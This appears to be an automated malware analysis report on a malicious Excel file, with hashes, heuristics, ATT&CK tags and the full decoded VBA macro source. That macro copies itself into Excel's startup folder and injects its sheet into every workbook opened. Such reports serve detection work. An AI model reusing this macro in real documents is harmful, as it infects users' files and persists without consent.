Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b8dd83054221b5d3…

MALICIOUS

Office (OLE)

148.5 KB Created: 2015-05-02 05:42:56 Authoring application: Microsoft Excel First seen: 2015-09-30
MD5: 9771fa08409ba750643164ed246c1fc0 SHA-1: 8c4c281987d58b31b11a7abd02c51f3b4e2582dd SHA-256: b8dd83054221b5d3bead5edfd4866784f39afb421f27ad0e41b940e3add3c525
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical ClamAV heuristic and the presence of VBA macros indicate malicious intent. The auto_open macro attempts to copy the current workbook to the Excel startup folder, renaming it to '1006(潘).xls', which establishes persistence. The document body appears to be a legitimate-looking textile quality control report, likely used as a lure.

Heuristics 3

  • ClamAV: Xls.Dropper.Agent-7623270-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7623270-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1162 bytes
SHA-256: 67338e26aeb9703c06ee99142c5e7afce84d11d3efccbe09a8a42efdf3fbc396
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "1006(潘).xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "1006(潘).xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("1006(潘).xls").Save
    Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "1006(潘).xls!acop"

End Sub

Sub acop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("1006(潘).xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True